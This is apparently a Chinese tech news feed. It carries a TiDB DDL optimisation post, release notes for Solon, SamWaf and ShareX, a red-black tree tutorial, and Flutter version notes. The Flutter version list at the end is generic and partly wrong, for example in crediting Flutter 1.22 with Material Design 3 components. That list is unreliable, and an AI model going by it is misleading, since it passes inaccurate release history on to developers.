从 DDL 里程碑图中可以看出,在 TiDB v7.5 左右,我们面临着一个严峻的挑战:用户希望在一个 TiDB 集群中管理百万级表。然而,我们的测试结果显示,TiDB v7.6 在创建 50 万张表后性能急剧下降,无法支撑更大规模的建表需求。这表明 TiDB 在大规模建表场景下存在严重的性能瓶颈,阻碍了其在海量数据场景下的应用。为了解决这一问题,我们团队投入了大量精力,对 TiDB 的核心组件进行了深入优化。

基于上述工程思考原则,我们深入探索并结合实际情况,制定了如下优化路线:

  1. 目标明确:优化起点 :首先,我们发现创建表在 DDL 语句中较为特殊,因此将其作为优化起点。通过深入分析,我们将创建表的需求独立出来,以便集中优化。
  2. 聚焦关键:优化策略 :同时,为了避免过度定制化,我们着力于识别通用优化点。经过仔细分析,我们确定将“快速建表”作为突破口,并从 v7.6 版本开始落地。我们的目标是快速、稳定地交付给客户,提升产品竞争力。
  3. 效果显著:性能提升 :经过优化,我们在 v8.1 版本实现了在 4 小时 17 分钟内创建 100 万张表,我们并没有止步于此。
  4. 持续改进:深入优化 :在 v8.2 版本,我们在此基础上进一步深入优化通用 DDL 操作,对优化点进行了更细致的定位分析,并取得了显著的性能提升。v8.3 版本,我们继续优化,将创建一百万张表的时间缩短至 1.5-2 小时。
  5. 夯实基础:代码重构 :为了更好地支持后续优化,我们在 v8.4 和 v8.5 版本中对 DDL 代码进行了重构,提升了代码的可维护性。
  6. 展望未来:分布式革新 :未来,我们将重点打造一个分布式原生的 DDL 执行框架,实现极致的 DDL 执行性能。通过并行化 DDL 执行、分布式事务支持和智能化资源调度等技术,我们将充分发挥分布式系统的优势,提升 DDL 操作的效率。

下图是我们到 8.1 版本时,优化的效果展示:

优化的效果

总结

DDL 框架的重构是一项复杂而艰巨的任务,但其带来的收益是巨大的。通过重构,我们可以打造一个更加稳定、高效、可扩展的 DDL 框架,为未来的业务发展提供坚实的基础。

本文介绍了 TiDB v8 版本中 DDL 优化的效果和重构的思考,在接下来的文章中,我们将深入解析 TiDB DDL 重构的技术实现。

by PingCAP at January 16, 2025 03:59 AM

oschina news project

🔥 Solon v3.0.6 发布(Spring 生态替代方案)

Solon 框架!

新一代,面向全场景的 Java 应用开发框架。从零开始构建(非 java-ee 架构),有灵活的接口规范与开放生态

  • 追求: 更快、更小、更简单
  • 提倡: 克制、高效、开放、生态

有什么特点(相对传统方案)?

特点 描述
更高的计算性价比 并发高 300%;内存省 50%
更快的开发效率 代码少;入门快;启动快 10 倍(调试快)
更好的生产与部署体验 打包小 90%
更大的兼容范围 非 java-ee 架构;同时支持 java8 ~ java23,graalvm native image

入门探索视频(用户录制):

最近更新了什么?

  • 新增 solon-flow 插件
  • 添加 solon ScanUtil 对本地文件目录的扫描支持
  • 调整 solon-proxy ProxyUtil 增强工具实用性
  • 调整 solon Props:loadAdd(name) 改为 Props:loadAdd(uri),支持表达式
  • 调整 solon solon.config.loadsolon.config.addProps:loadAdd(uri) 统一规范格式与处理逻辑(同时支持内部与外部)
  • 优化 solon 注入失败时的日志定位(支持类级定位)
  • 优化 IoUtil.transferTo 添加 out.flush 自动处理
  • 优化 solon bean 集合注入处理
  • 优化 solon-data ConnectionWrapper 添加 getNetworkTimeout 异常过滤(有些驱动不支持此接口)
  • 优化 solon-mvc Action 返回为 void 的情况,当二次加工后仍为 null 时,不作渲染处理
  • 优化 solon-cloud-gateway 路由排序,增加路径深度优先处理
  • 优化 solon-cloud-gateway Path 断言,增加多路径支持
  • 优化 mybatis-solon-plugin 用 MybatisSessionTemplate 替换 MybatisMapperInterceptor
  • 优化 mybatis-solon-plugin SolonManagedTransaction getTimeout 添加异常过滤(有些驱动不支持此接口)
  • 修复 solon 启动时使用接口排除插件无效的问题
  • snack3 升为 3.2.124
  • fastjson2 升为 2.0.54
  • snakeyaml 升为 2.3
  • mybatis 升为 3.5.17
  • mybatis-plus 升为 3.5.9
  • mybatis-flex 升为 1.10.5
  • sqltoy 升为 5.6.37.jre8
  • guava 升为 33.4.0-jre
  • hutool 升为 5.8.35
  • smarthttp 升为 2.5.1,修复 ws idle 超时问题
  • freemarker 升为 2.3.34
  • thymeleaf 升为 3.1.3.RELEASE
  • beetl 升为 3.19.0.RELEASE
  • logback 升为 1.3.15
  • junit5 升为 5.11.4
  • solonx 升为 1.1.3

项目架构图

项目仓库地址?

官网?

by 来源: 投稿 at January 16, 2025 03:31 AM

SamWaf v1.3.9 已经发布,开源、轻量级、可私有化部署的网站应用防火墙

20250116 (v1.3.9)

::: warning 重要修改: v1.3.9 新增了超时访问时长控制,之前没有限制,无限等待,可能存在尝试占用不释放资源的问题,新版本默认是60秒,如果修改成0则是不限制,请依据情况进行修改 :::

  • 提升稳定性
  • 新增支持同时绑定多个域名 

  • 新增防护主机可以按照创建时间排序
  • 新增日志可进行脱敏拷贝
  • 新增支持SSL免费证书自动申请,到期提前自动延期 自动申请SSL操作手册
  • 新增SSL证书批量检测 SSL证书批量检测
  • 新增支持网站帐号密码访问 

  • 新增支持超时配置 

  • 新增内部任务管理界面
  • 修正网站导入、导出功能 

  • 优化Docker发布策略正式版本latest,最新测试版本单独发标签

by 来源: 投稿 at January 16, 2025 02:38 AM

ShareX 17 发布,截图与屏幕录制工具

ShareX 是一个开源截图工具,可捕获或记录屏幕的任何区域,并一键共享。 它还允许将图像、文本或其他类型的文件上传到超过 80 个支持的存储服务上。

ShareX 17.0 正式发布,更新内容如下:

  • 滚动捕获改进:
    • 在滚动捕获期间自动忽略底部 50px,对于底部水平滚动条等情况很有用。
    • 添加了“Auto ignore bottom edge”选项,除了默认的 50px 之外,该选项还会比较两张图像以识别底部的静态部分。
    • 在滚动捕获窗口中添加了“Copy”按钮。
  • 为某些操作添加了通知声音:
    • 屏幕录制 stop/pause/abort 操作。
    • 滚动捕获动作。
    • “Pin to screen”工具。
    • “Screen color picker”工具。
    • “Borderless window”工具。
    • 浏览器扩展操作。
    • Silent OCR 操作。
    • “Disable/Enable hotkeys”操作。
  • 添加了“Play sound after action is completed”选项。
  • 添加了“Use custom action completed sound”选项。
  • 从 silent OCR 操作中删除了 toast 通知。
  • 删除了“Disable notifications”选项。
  • 增加了阿拉伯语支持。
  • 当设置“DisableUpload”registry 时,隐藏主窗口中的上传相关项。
  • 无论上传失败或停止,均可将任务保存到历史记录中。
  • 允许在“Borderless window”工具中恢复 borderless window。
  • 添加了“Make active window borderless”热键。
  • 添加了“Make active window top most”热键。
  • 添加了“Pin to screen (Close all)”热键。
  • 删除了 YouTube 图标,因为 Google 不允许使用 16x16 尺寸的 logo。
  • 删除了 Google Photos image uploader。(原因:https://developers.googleblog.com/en/google-photos-picker-api-launch-and-library-api-updates/
  • 删除了 adf.ly URL shortener。
  • 删除了 ShareX 12.4.0 之前生成的 .sxcu 文件的向后兼容性。

更多详情可查看:https://getsharex.com/changelog#v17.0.0

by 来源: OSCHINA at January 16, 2025 02:32 AM

January 15, 2025

juejin article

【算法导论】征服红黑树(前篇)

在之前的学习中,我们已经接触了二叉搜索树(Binary Search Tree, BST)和AVL树。

AVL树作为一种严格的平衡二叉搜索树,在一般BST树的基础上,实现了在向树中插入新节点或从树中删除已有节点后,仍然维持严格平衡的特性。这使得人们能够避免BST中任意节点的左右子树高度差异过大,以便将查找时间控制在比较理想的<semantics>O(log2n)<annotation encoding="application/x-tex">O(\log_2{n})</annotation></semantics>O(log2n)

但是AVL树也存在着比较明显的缺点。在执行删除操作后,AVL树为了重新恢复平衡所需要执行的旋转操作次数上界高达<semantics>O(log2n)<annotation encoding="application/x-tex">O(\log_2{n})</annotation></semantics>O(log2n),也就是说为了恢复严格平衡整棵树的形态都要发生比较大的变化。

而本文所要介绍的红黑树(Red-Black Tree)则是一种近似平衡的二叉搜索树。

红黑树插入新节点后更新节点信息(重染色)操作的上界为<semantics>O(log2n)<annotation encoding="application/x-tex">O(\log_2{n})</annotation></semantics>O(log2n),且只需执行常数次旋转操作,这与AVL树一致。但是针对删除操作,虽然两者更新节点信息操作的开销上界也都是<semantics>O(log2n)<annotation encoding="application/x-tex">O(\log_2{n})</annotation></semantics>O(log2n),但红黑树最多只需执行3次旋转操作即可重新恢复近似平衡,相比AVL树最多需执行<semantics>O(log2n)<annotation encoding="application/x-tex">O(\log_2{n})</annotation></semantics>O(log2n)次旋转操作的确有一定的优势。

引入:红黑树的基本性质

红黑性质

如果一棵BST具备如下几条所谓的红黑性质,则称之为红黑树:

  1. 每个节点要么是黑色的,要么是红色的。
  2. 根节点是黑色的。
  3. 每个叶节点(NIL,哨兵节点)是黑色的。
  4. 如果一个节点是红色的,那么它的父节点和子节点都是黑色的。
  5. 对于树上的每个节点,从该节点出发到其任意后代叶节点的简单路径上,所包含的黑色节点的数目是相同的。

如下图所示是一棵合法的红黑树:

image.png

对于初学者来说,要重点关注性质3

我们很容易猜到,在真实的红黑树代码实现中,肯定是不可能为NIL节点真正去分配内存的。取而代之的只不过是将其父节点中对应的指针简单地赋值成NULL

那为什么在红黑树的定义中,一定要重点强调NIL节点的颜色是黑色的呢?

事实上,将NIL节点假想成普通,这主要是为了使得后文中将要介绍的红黑树插入/删除操作算法具备一般性,而无需专门为处理NIL节点(也就是所谓的"边界情况")引入额外的规则。

CLRS中亦将NIL节点称作"哨兵"。回忆一下在学习链表的时候,我们也有接触过"哨兵节点"的概念。所谓"哨兵",不就是为了简化对边界情况的处理而引入的吗?

另外需要指出的是,在许多情况下为了展示方便,在图中并不会将NIL节点一并画出(例如下图)。在这种语境下红黑树的叶节点指的就是位于树最下层的合法节点。在后文中将不再对"叶节点"这一词汇的具体指代进行额外说明,请读者自行根据语境进行辨别!

image.png

红黑树的树高

根据CLRS中的证明,红黑树树高的上界为<semantics>2log2(n+1)<annotation encoding="application/x-tex">2\log_2{(n+1)}</annotation></semantics>2log2(n+1)。因此红黑树的查找操作开销和AVL树同属于对数级别。虽然前者仅实现了近似的平衡,实际查找性能略逊于后者。

回顾

红黑树的插入/删除算法是在BST的几个基本算法的基础上实现的。

BST的旋转操作

与AVL树一样,红黑树的平衡恢复操作依赖于BST的左旋和右旋这两种基本的旋转操作。

下图直观展示了这两种基本操作:

image.png

在实际编程实现旋转操作时,应注意:

  1. 图中x、y节点都必须是真实存在的节点。而α、β和γ均有可能是NIL节点。
  2. 以右旋为例,左旋同理:
    • 若原先y节点是根节点,则右旋后需要将根节点指针指向x节点,并将x的父节点指针(如果有的话)更新为NIL。
    • 若原先y节点有合法的父节点p,则右旋后需要将p的相应子节点指针指向x,x的父节点指针也要做相应更新。

下图展示了在实际BST中的旋转操作。从图中可见,旋转操作并不会破坏BST的基本性质。

image.png

查找BST中指定节点的后继(successor)

后继节点指的是BST中所有value取值大于指定节点的节点中,取值最小的那一个。查找后继节点的算法与实现BST中的删除操作密切相关。

该算法的实现是简单和直观的,直接上伪代码:

image.png

image.png

BST的插入操作

BST的插入操作比较简单。

  1. 设待插入节点为x,以x.value作为目标值,执行搜索算法。
  2. 搜索算法会在BST的某一个叶节点处结束,则该叶节点即为待插入节点的父节点p。
  3. 根据x.valuep.value的大小关系,将x作为p的左孩子或者右孩子,插入BST。

image.png

BST的删除操作

设待删除的目标节点为z,则BST的删除操作可分为如下几种情况:

  1. z的左孩子为NIL,右孩子为普通节点。
  2. z的左孩子为普通节点,右孩子为NIL。
  3. z的左右孩子均为NIL。
  4. z的左右孩子均为普通节点。

情况1和情况2中z都至少有一个合法的子节点,只需要将z摘除后,使用该合法的子节点接替z的位置即可。至于情况3,显然是情况1和2的特例,在实际实现中可以直接复用前两种情况的代码,即只需将z的父节点的左孩子(或右孩子)指针更新为NULL即可。

image.png

情况4又可以进一步细分为如下的两类情形:

  • 情况4-1:z的后继节点(successor)y恰好为z的右孩子。
  • 情况4-2:z的后继节点y虽然位于其右子树中,但并不是直接与z相连的右孩子

由于进入情况4的前提是z的左右孩子都不为NIL,因此z合法的后继节点一定位于其右子树中。在实际实现时我们只需要TREE-MINIMUM那部分代码即可。

对于情况4-1的处理比较简单,只需将z摘除后,将y(即原先的z.right)与z.leftz.parent相连即可。

image.png

注意:后继节点不可能有左孩子!!!

情况4-2则更复杂一些,需要分解成如下几步完成:

  • y.righty.parent直接相连。这相当于在逻辑上把y从原先的位置上摘除掉。
  • yz.right相连。
  • 按情况4-1的算法进一步进行处理。

image.png

算法:红黑树的插入新节点算法

算法

要向红黑树中插入新节点z,从整体上分为如下几步:

  • 执行一般BST的插入算法,将z插入到树中的某一位置。
  • z强制染成红色。
  • z.parent亦为红色,则破坏了红黑性质4。有的资料中称这种现象为"双红缺陷"。此时执行红黑树插入修复算法,使红黑树恢复合法状态。

为什么我们不将z染成黑色呢?

下面给出z位于其祖父节点(grandparent, z.parent.parent)左子树时的插入修复算法。当z位于右子树时,其修复算法完全是前者的镜像版本。

z的叔父节点(uncle, z.parent.parent.righty为红色,则只需将祖父节点的黑色"下推"给z的父节点和叔父节点y。此时z和其父节点之间的双红缺陷被消除。但由于祖父节点从黑色变为红色,这意味着在红黑树的更高层可能又会产生新的双红缺陷。此时更新z指针,使其指向祖父节点,然后重新执行插入修复算法,直至更高层不再出现双红缺陷。

image.png

请你思考如下问题:

  1. 修复算法执行前,祖父节点一定是黑色的吗?
  2. 叔父节点y一定是合法的普通节点吗?αβγδε呢?
  3. 如果图中new z所指的节点恰好为根节点,应该如何处理才不会破坏任何一条红黑性质

z的叔父节点y为黑色,如下图所示,最多经过两次旋转操作,红黑树可以完全恢复合法状态。

image.png

实例

walkccc.me/CLRS/Chap13…

算法:红黑树的删除指定节点算法

出发:从一般BST删除算法入手考虑

有了学习红黑树插入算法的经验,我们不难猜测出,红黑树的删除算法是在一般BST删除算法的基础上进行改造而得来的。或者更直白地说,红黑树删除算法=一般BST删除算法+红黑树删除修复算法+别的什么东西(如果有的话)

在正式介绍红黑树的删除修复算法前,首先请你思考一个问题:如果仅仅是简单地调用BST的删除算法来摘除红黑树上的节点,可能会导致哪些红黑性质被破坏呢?

我们还是分成如下的几种情况进行讨论。并且每种情况中,我们还需要细致地考察被摘除节点和接替者节点颜色对结果的影响:

  1. 被摘除节点只有左孩子或者只有右孩子
  2. 被摘除节点没有子节点
  3. 被摘除节点左右孩子都有,且其后继不是右孩子
  4. 被摘除节点左右孩子都有,且其后继恰为右孩子

情况1

在情况1中,如果被摘除节点恰好为黑色的,则至少会破坏红黑性质5。例如下图中我们将值为10的黑色节点摘除:

如果你的眼光足够敏锐,应该不难发现我们还很容易构造出这样的实例,让红黑性质4也在摘除过程中被破坏:

此外,如果我们尝试摘除根节点,红黑性质2也有可能惨遭破坏:

由此可见,仅就情况1而言,摘除黑色节点可能会造成红黑性质2、4、5被破坏

另外我们注意到,如果情况1中摘除的节点为红色,则绝不可能造成任何一条红黑性质被破坏。这个结论的证明作为练习留给读者。

情况2

情况2作为情况1的特例,显然可以直接沿用情况1的结论。读者可以自行举例进行验证。

情况3

引入:情况3-1

那么对于情况3,结论又如何呢?让我们从一种比较容易想到的情形入手。

从直观上就很容易想象得到,如果要摘除的节点是黑色的,而它的接替者(它的右子树中的某个节点)是红色的。那么如果直接让接替者顶替被摘除节点原先的位置,势必会导致原先被摘除节点的右子树的红黑性质5被破坏。此外,如果原先被摘除的黑色节点与某个红色节点相连,这种操作还会导致红黑性质4一并被破坏。

例如下面这个例子,我们执行一般的BST删除算法,将值为25的黑色节点摘除:

一种显而易见并且安全的解决方案是,我们可以将接替者节点染成和被摘除节点一样的颜色,问题即可得以解决。如下图所示:

好消息是,在实际的红黑树删除算法中的确使用到了这种重染色的处理手法

不过,仅靠重染色,就能应对所有情况了吗?

你应该已经注意到了,刚才我们举的只是一个极为特殊的例子。我们还需要进一步罗列其他的各种情况,逐一进行考察:

  • 情况3-1:被摘除节点为黑,接替者节点为红。
  • 情况3-2:被摘除节点为黑,接替者节点为黑。
  • 情况3-3:被摘除节点为红,接替者节点为红。
  • 情况3-4:被摘除节点为红,接替者节点为黑。

刚才我们举的例子即为情况3-1。通过前面的分析可知,在这种情况下,通过将接替者节点重新染色为黑色,的确可以修复所有的红黑性质。

情况3-2

现在我们考察情况3-2。在这种情况下接替者本身就是黑色的,重染色之后还是黑色的。我们很容易就能够理解,拿一个黑色的接替者节点去顶替原先为黑色的被摘除节点的位置,那么在该被摘除节点处显然不可能造成红黑性质4、5被破坏。但相应的,因为黑色的接替者节点被移动到了原先被摘除节点的位置,所以在接替者节点原先的位置上红黑性质4、5可能会被破坏!

下图给出了情况3-2的一个例子。

这里我们将值为25的黑色节点摘除,根据一般BST的删除算法,接下来该节点的原先位置将由值为27的接替者节点来顶替,而接替者节点原先的位置将由其右孩子(值为28的红色节点)来顶替。

从图中可以清晰地看到,由于黑色的接替者节点被移除出原位置,从根节点出发到值为28的红色节点的简单路径上的黑节点总数由3下降为2,即红黑性质5被破坏!同时由于接替者节点被移除出原位置,值为28和30的这两个红色节点直接相连,这意味着红黑性质4亦被破坏!

但我们事实上也并不是一无所获。例如,我们注意到从黑色根节点出发到值为22的黑色叶节点的简单路径上,出现的黑色节点的总数仍然是原先的3。我们又可以注意到对于值为32的那个黑色叶节点来说亦是如此。

这说明将接替者节点染成和原先待摘除的目标节点一样的颜色,仍然是有实际意义的。或者更直白而直观地说,重染色操作将红黑性质被破坏的问题下放到了红黑树中比较低的层级。在后续对红黑树删除算法的正式介绍中,你将会看到这对于降低算法的设计和分析难度,具有重大的意义。

情况3-3

接下来我们考察情况3-3。这种情况是相当简单的:既然被摘除节点和接替者节点都是红色的,且执行删除操作前的红黑树是合法的(红黑性质4、5都成立),那么在进行摘除和接替处理后,红黑树的任何性质显然都不会被破坏。

情况3-4

最后我们来考察情况3-4,其与情况3-2带来的问题是完全一致的。

在这种情况下,将原先为黑色的接替者节点染成红色,虽然不会在原先被摘除节点的位置引入新的黑高度,看似不会破坏红黑性质5,但实际上由于原先为黑色的接替者节点被从原位置移除,从树根节点出发到接替者节点原有的后代叶节点的简单路径上,黑色节点的数目就减少了1,因此红黑性质5在红黑树更低的层级上仍然被破坏了!

同时,与情况3-2相仿,在情况3-4中也有可能同时出现红黑性质4被破坏的问题。

下图给出了情况3-4的一个例子:

此外我们应注意到,由于在处理情况3时引入了重染色的策略,倘若要摘除的目标节点恰好是根节点,那么在删除操作执行后,新的根节点必定仍然是黑色的,即红黑性质2不存在被破坏的可能性!

情况4

从本质上来讲情况4可以看作是情况3的特例,情况3得出的结论对情况4仍然适用。读者可以自行分别举出情况4中的各种子情况的实例,来进一步验证:

  • 情况4-1:被摘除节点为黑,接替者节点为红。
  • 情况4-2:被摘除节点为黑,接替者节点为黑。
  • 情况4-3:被摘除节点为红,接替者节点为黑。

总结

让我们总结一下,到目前为止我们都得到了哪些结论:

  • 对于情况1(情况2)
    1. 被摘除节点为黑:直接调用一般BST的删除算法,可能会导致红黑性质2、4、5被破坏❌
    2. 被摘除节点为红:可以安全地直接调用一般BST的删除算法,而不会造成任何红黑性质被破坏✔
  • 对于情况3(情况4),在一般BST的删除算法基础上引入了对接替者节点的重染色操作
    1. 被摘除节点为黑,接替者节点为红:安全✔
    2. 被摘除节点为黑,接替者节点为黑:可能会导致红黑性质4、5被破坏❌
    3. 被摘除节点为红,接替者节点为红(情况4不存在这种子情况):安全✔
    4. 被摘除节点为红,接替者节点为黑:可能会导致红黑性质4、5被破坏❌

现在,为了能够充分理解后文中将要介绍的红黑树删除后修复算法,我们还需要再多做一些准备工作。

让我们把视角拉回情况3(情况4)中2和4这两种子情况,思考一个问题:仅从红黑树红黑性质的角度出发,到底是因为我们对哪个节点执行的操作,才导致了红黑性质被破坏呢?

是因为我们删除掉了目标节点吗?仔细一想,并非如此。因为当我们使用接替者节点(即要删除目标节点的后继节点)顶替掉被删除的目标节点的位置后,将接替者节点"重染色"为与被删除节点一样的颜色。从这个角度来看,由于"重染色"操作的存在,我们可以认为在逻辑上被删除节点并没有"被删除",只不过是其数值域发生了更新而已。

注意我这里特别强调了"在逻辑上"。

在实际的代码实现中,人们是万万不可能真的去更新被删除节点的数值域的。合理的做法一定是前文我们介绍过的BST删除算法,即修改相关节点的指针,使用完整的替代者节点置换掉被删除节点。

请你思考一下这是为什么呢?

一旦你想明白了这点,正确答案也就呼之欲出了。是的,在情况3(情况4)中红黑树红黑性质被破坏的根本原因在于,我们将接替者节点从它原先的位置移除出去了!从这个角度来看,从逻辑上来讲,在情况3(情况4)中我们实际上删除的是接替者节点。而倘若接替者节点原先的颜色是黑色,这就意味着红黑树中就损失了一份黑色,从而致使相应的红黑性质被破坏!

现在请你再对照一下上文中我们所作的总结,一定会惊喜地发现情况3(情况4)中红黑性质被破坏的那两种子情况中,接替者节点原先的颜色恰好都是黑色;而红黑性质未被破坏的那两种子情况中,接替者节点的原颜色都是红色。至于被删除节点的颜色,很显然与最终红黑性质是否被破坏,是没有关系的。如此种种,与刚才我们从逻辑上出发的分析是完全吻合的!

这里先留一个问题。你可以先记下来,等到你完全理解红黑树的删除节点算法后,再来作回答。

在红黑树的删除节点算法中,为什么只有针对被删除节点X满枝的情况(即情况3/4),才会将接替者节点Y"重染色"成和X一样的颜色;而针对X非满枝的情况(即情况1/2),却没有对Y进行"重染色"这步操作呢?

到此为止,我们可以进一步总结出如下结论:在红黑树中,在逻辑上实际被删除的那个节点若是黑色的,则有可能导致若干红黑性质被破坏。 相应地,若在逻辑上实际被删除的那个节点是红色的,则红黑性质仍然保持,是绝对安全的。

理解"双黑节点"和"红黑节点"

现在我们已经对在红黑树上执行一般BST删除算法所会造成的各种问题,有了一个比较直观的了解。同时我们也认识到了一个关键结论:在红黑树中,在逻辑上实际被删除的那个节点若是黑色的(即红黑树在实际上损失了一份黑色),则有可能导致若干红黑性质被破坏。 而红黑树删除后修复算法的任务,就是去修复这些被破坏的红黑性质。

相较于插入后修复算法,红黑树的删除后修复算法要晦涩的多。为了对其建立更加直观的理解,在CLRS引入了两个概念——"双黑节点"和"红黑节点"。这又是什么玩意儿呢?

简单来说,我们可以在逻辑上认为当某个黑色节点被删除后,它会将自己的那一份黑色"下推"给自己的子节点。如果子节点原先是黑色的,那么在接收到这一份新的黑色后,它就变成了"双黑节点";而如果子节点原先是红色的,它就会变成"红黑节点"。

这里要强调的是,如果被删除的黑色节点的两个孩子都是NIL节点,结合我们前面提到的红黑树中"NIL节点为黑色"的规定,该黑色节点那份黑色就会被"下推"给相应的NIL节点,从而使NIL节点变为"双黑节点"。

从这里我们就可以感受到引入NIL节点作为哨兵节点的便利性。即在分析算法的过程中,我们可以像对待普通节点那样来分析它们,而无需引入任何额外的规则或讨论!

现在让我们通过几个例子,来进一步理解一下"红黑节点"和"双黑节点"的概念。

image.png

image.png

image.png

image.png

显而易见的是,在引入了"双黑节点"和"红黑节点"的概念后,删除黑色节点后自然也就不会破坏红黑性质4、5了,这是因为双黑节点或红黑节点多出来的那一份黑色,弥补了删除黑色节点后红黑树所损失的那一份黑色

然而,你一定已经注意到了,故事到这里肯定还没有结束...

红黑树删除后修复算法

根据红黑性质1,一棵合法的红黑树是不允许某个节点为双黑色或者红黑色的。

事实上,你很容易就能猜到,所谓的"双黑节点"或"红黑节点"只不过是红黑树修复过程中相应节点在逻辑上的一种过渡状态。或者更直白地说,仅仅是帮助我们理解红黑树删除后修复算法设计动机的一种辅助工具。因此,在实际的红黑树删除后修复算法的代码实现中,你也不可能找到这两种节点颜色状态对应的内容!

也就是说,最终我们仍然需要将相应节点恢复到合法的颜色,并确保红黑树的所有红黑性质得以恢复——这就是修复算法的最终目标!

现在有了"红黑节点"和"双黑节点"这两个强大的武器,我们可以正式介绍修复算法的工作流程了。

与红黑树插入后修复算法类似,删除后修复算法核心在于维护一个x指针,该指针始终指向在逻辑上持有多余一份黑色的红黑节点或双黑节点,并根据该指针所指节点的实际颜色(黑或红)采取不同的操作。

x指向红黑节点时

x指向一个红黑节点时,算法只需简单地将该节点的实际颜色由红色染成黑色,即完成了所有工作,同时红黑树的红黑性质得以全部修复。或者更形象地说,红节点"吸收"掉了它接收到的那份多余的黑色,从而变成了黑节点。

这个操作正确性的证明作为练习留给读者。

下图展示了一个实际的例子。可以看到,当红黑节点转变为实际的黑节点后,红黑树的所有红黑性质的确得到了恢复!

image.png

x指向双黑节点时

x指向逻辑上的双黑节点时,对于x实际指向的那个黑节点来说,它显然无法像红节点那样把这份多余的黑色给"吸收掉",有的资料称这种现象为"双黑缺陷"。

对"双黑缺陷"的修复,又可以细分出若干种情况。在正式介绍它们之前,有一点希望你搞清楚:与修复"双红缺陷"类似,修复"双黑缺陷"的策略无非分为两大类。

  • 要么将多余的那份黑色转移给其他节点,并确保转移后不会破坏任何一条红黑性质,然后算法结束。
  • 要么多余的那份黑色向红黑树的高层转移,同时将z指针向树的高层移动,最后在更高层重新执行修复算法以修正"双黑缺陷"。

下面我们就正式来看"双黑缺陷"的若干种情况了。这里我们以x为父节点左孩子的情况为例。与修复"双红缺陷"类似,当x为右孩子时,处理手法是完全镜像的。

在分析各种情况时,也请你时刻留意红黑树的红黑性质4、5是否始终保持不变。

情况1:x的兄弟节点w为红色

这种情况我们无法直接处理。注意到兄弟节点w的两个孩子都是黑色的,故对xw的父节点执行一次左旋操作。而后x的新兄弟是黑色的,这就将情况1转化为了情况2、3或4。

image.png

情况2:x的兄弟节点w为黑色,且w的两个孩子都是黑色的

在这种情况下,我们显然无法将x多出来的那份黑色转移给w的孩子。因此只能将这份黑色继续向上传递(将x指针上移)。同时为了保证红黑性质5不被破坏,我们需要将w重染色成红色。

image.png

在这种情况下,我们并不关心x父节点的颜色。这里我们将其涂成棕色,以示标记。后文中我们也将继续使用棕色来标记不关心具体颜色的节点。

容易注意到,若从情况1进入情况2,由于开始时x的父亲是红色的,因此当x的父亲"接收"到这份多余的黑色后,它将立即转变为红节点,从而"双黑缺陷"得以修复,整个算法即可宣告结束!

情况3:x的兄弟节点w为黑色,且w的左孩子为红色,w的右孩子为黑色

这种情况我们也无法直接处理。我们需要交换w与其左孩子的颜色,并针对w执行右旋操作,之后方可进入情况4。

image.png

情况4:x的兄弟节点w为黑色,且w的右孩子为红色

这是删除后修复算法中最复杂的一种情况了。

xw共同的父节点的颜色cw左孩子的颜色为c',那么要完成的操作分别如下:

  • w的黑色"转交"给其红色的右孩子,使其变为黑色。
  • x父节点的颜色c"转交"给w
  • x多出来的那一份黑色"转交"给父节点,使父节点变为黑色。
  • 针对x的父节点执行一次左旋操作。

不难验证,经过如上操作之后,红黑树的各条红黑性质将完全得到恢复,至此修复算法宣告结束!

image.png

情况5:x最终指向根节点

如果x指针经过若干次迭代最终指向了整棵树的根节点,这时候应该怎么办呢?

很简单,此时我们只需直接"抛弃"这份多出来的黑色即可。也就是说,当x指向根节点时,算法即可宣告结束,而无需任何额外的操作。

很容易证明,这个操作是安全的,并不会破坏任何的红黑性质。

What' about 红黑性质2

在前文的叙述中,我们主要是探讨了红黑树删除算法及配套的修复算法能够实现对红黑性质4、5的维护。

至于这套算法能够正确维护红黑性质2的证明,其实是非常简单的,这里就留作练习交给读者了。

实例

walkccc.me/CLRS/Chap13…

by PAK向日葵 at January 15, 2025 05:46 PM

juejin ios

flutter自学笔记8- package、插件、主题、国际化

版本新特性

一、Flutter SDK 版本

Flutter 3.x 系列
  • Flutter 3.24+
    • 引入了新的Widget和动画效果,增强了UI设计的灵活性。
    • 进一步优化了性能,包括渲染速度和内存使用量的减少。
    • 增强了多平台支持,包括Android、iOS、Web、macOS、Windows等。
    • Flutter DevTools获得了多项改进,包括更好的调试体验和更丰富的性能分析工具。
  • Flutter 3.23
    • 提供了更多的Material Design组件和自定义动画效果。
    • 增强了性能优化工具,包括内存调试和CPU性能分析。
  • Flutter 3.20
    • 发布了新的功能和性能改进,可能包括新的API、性能优化、错误修复等。
  • Flutter 3.19
    • 引入了专为Gemini设计的新Dart SDK。
    • 提供了新的Widget,允许开发者对Widget动画实现精细化控制。
    • Impeller更新带来了渲染性能提升。
    • 增加了对Windows Arm64的支持。
  • Flutter 3.16
    • 发布了稳定版,包含了一系列性能优化和新特性。
    • 改善了two_dimensional_scrollables package中的TableView Widget表现。
  • Flutter 3.13及之前版本
    • 提供了重要的功能更新和性能改进,包括新的API、性能优化、错误修复等。
Flutter 2.x 系列
  • Flutter 2.10
    • 提供了对Windows平台的更好支持。
    • 引入了新的组件和API,增强了开发者的工具集。
  • Flutter 2.8
    • 提供了性能改进和错误修复。
    • 增强了与Firebase的集成。
  • Flutter 2.5
    • 引入了新的功能和性能改进。
    • 增强了多平台支持,包括Web和桌面端。
  • Flutter 2.2
    • 提供了更多的Material Design组件和自定义动画效果。
    • 增强了性能优化工具。
  • Flutter 2.0
    • 正式支持Web、Windows、macOS和Linux等多个平台。
    • 引入了空安全特性。
Flutter 1.x 系列
  • Flutter 1.22
    • 提供了对Android 11和iOS 14的完整支持。
    • 引入了更多的Material Design 3组件和动画效果。
  • Flutter 1.17
    • 解决了大量问题,并添加了新功能,如iOS上的Metal支持、新的Material组件等。
  • Flutter 1.12
    • 引入了新的渲染引擎和性能优化工具。
    • 增强了Dart语言的支持。
  • Flutter 1.9
    • 提供了更多的功能和性能改进。
  • Flutter 1.7
    • 增强了Web平台的支持。
    • 提供了更多的国际化和本地化支持。
Flutter DevTools 版本

Flutter DevTools是Flutter开发者用于调试和性能分析的重要工具。随着Flutter SDK的更新,DevTools也会不断引入新功能和改进。以下是一些DevTools的重要更新(注意:由于DevTools通常与Flutter SDK版本紧密相关,因此以下更新可能并不完全对应于特定的DevTools版本号,而是与Flutter SDK版本相关联):

  • 性能分析工具改进
    • 提供了更详细的CPU和内存使用情况分析。
    • 增强了Frame Graph和Timeline视图的交互性。
  • 网络调试工具
    • 允许开发者查看和分析应用的网络请求和响应。
    • 提供了过滤和搜索功能,方便开发者定位问题。
  • 布局检查器
    • 提供了更详细的Widget树和布局信息。
